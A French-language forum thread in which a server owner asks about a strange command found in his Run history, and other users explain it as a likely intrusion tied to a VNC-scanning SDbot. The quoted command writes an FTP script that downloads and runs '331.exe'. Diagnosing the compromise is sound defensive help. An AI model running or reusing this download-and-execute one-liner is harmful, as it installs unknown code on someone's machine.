Discussion :

[ph4prod]

bonjour a tous,
pourriez vous me dire ce que signifie cette ligne de commande dans l'executer du menu demarrer de mon serveur:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

cmd.exe /c del i&echo open 127.0.0.1 15094 > i&echo user 1 1 >> i &echo get 331.exe >> i&echo quit >> i &ftp -n -s:i &331.exe&del i&exit

Grand merci à vous...

[nemo69500]

je pense que ca telecharge un exe "331.exe" sur un ftp

(mais je suis pas sur)

[_solo]

et comme j'ai l'impression que c'est pas toi qui ai taper cette commande , tout ca sent la reinstallation

[cubitus91]

C est tout à fait ca nemo69500 !!

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
cmd.exe /c del i&echo open 127.0.0.1 15094
> i&echo user 1 1 >> i &echo get 331.exe >> i&echo quit >> 
i &ftp -n -s:i &331.exe&del i&exit

Ca ouvre une connection FTP sur ton localhost sur le port 15094 ( bizare ca par contre )
Il telecharge 331.exe ETC ...

et comme j'ai l'impression que c'est pas toi qui ai taper cette commande , tout ca sent la reinstallation

Exact

[nemo69500]

en faite on dirais qui telecharge 331.exe sur lui meme c est bizarre

[cubitus91]

en faite on dirais qui telecharge 331.exe sur lui meme c est bizarre

Exact il DL sur lui meme , localhost.

[_solo]

possederais-tu VNC par le plus grand des hazard ph4prod ?
je dit ca car il existe un certains nombre de bot qui scan VNC a la recherche d'une faille Null auth ( qui date de quelques temps deja ) et install un SDbot modifier .

ps si tu possede encore ton fichier 331.exe je veut bien te l'analyser